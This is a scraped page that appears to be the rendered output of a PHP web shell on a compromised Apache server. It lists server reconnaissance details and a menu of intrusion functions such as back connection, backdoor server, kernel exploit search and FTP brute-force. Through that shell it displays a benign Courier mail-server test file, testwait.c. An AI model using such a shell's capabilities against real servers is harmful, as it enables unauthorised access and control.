|
System | : | Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686 |
Software | : | Apache. PHP/5.3.6-13ubuntu3.10 |
ID | : | uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
|
|
Safe Mode | : | OFF |
Open_Basedir | : | OFF |
Freespace | : | 24.52 GB of 70.42 GB (34.83%) |
|
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON |
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
|
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ]
|
|
/
usr/
src/
courier-0.66.1/
waitlib/
- drwxrwxrwx
|
Viewing file: testwait.c (1.49 KB) -rw-rw-rw-Select action/file-type:  ( +) |  ( +) |  ( +) | Code ( +) | Session ( +) |  ( +) | SDB ( +) |  ( +) |  ( +) |  ( +) |  ( +) |  ( +) |
/* ** Copyright 1998 - 2006 Double Precision, Inc. ** See COPYING for distribution information. */
#include "waitlib.h" #if HAVE_UNISTD_H #include <unistd.h> #endif #include <stdio.h> #include <stdlib.h> #include <signal.h>
/* Stress test waitlib.c */
#define NUMCHILDREN 100 /* Start 100 child processes */ #define INITCHILDREN 10 /* Start with these many child procs */
static unsigned started, finished;
static void reap_child(pid_t p, int dummy) { ++finished; }
static RETSIGTYPE sighandler(int sig) { wait_reap(&reap_child, &sighandler); #if RETSIGTYPE != void return (0); #endif }
static pid_t start_child() { pid_t p;
wait_block(); while ((p=fork()) == (pid_t)-1) { perror("fork"); sleep(3); } ++started; if (p == 0) { wait_restore(); } else wait_clear(&sighandler); return (p); }
extern void foobar();
int main() { int pipefd[2]; int pipefd2[2]; char c;
if (pipe(pipefd) || pipe(pipefd2)) { perror("pipe"); exit(1); }
signal(SIGCHLD, sighandler);
started=finished=0; while (started < INITCHILDREN) { if (start_child() == 0) { close(pipefd2[0]); close(pipefd2[1]); close(pipefd[1]); if (read(pipefd[0], &c, 1) != 1) ; /* Shut gcc up */ close(pipefd[0]); _exit(0); } } close(pipefd2[1]); close(pipefd[0]); if (read(pipefd2[0], &c, 1) != 1) ; /* Shut gcc up */ close(pipefd[1]); close(pipefd2[0]);
while (started < NUMCHILDREN) if (start_child() == 0) _exit(0);
alarm(30); while (finished < started) foobar(); exit(0); }
|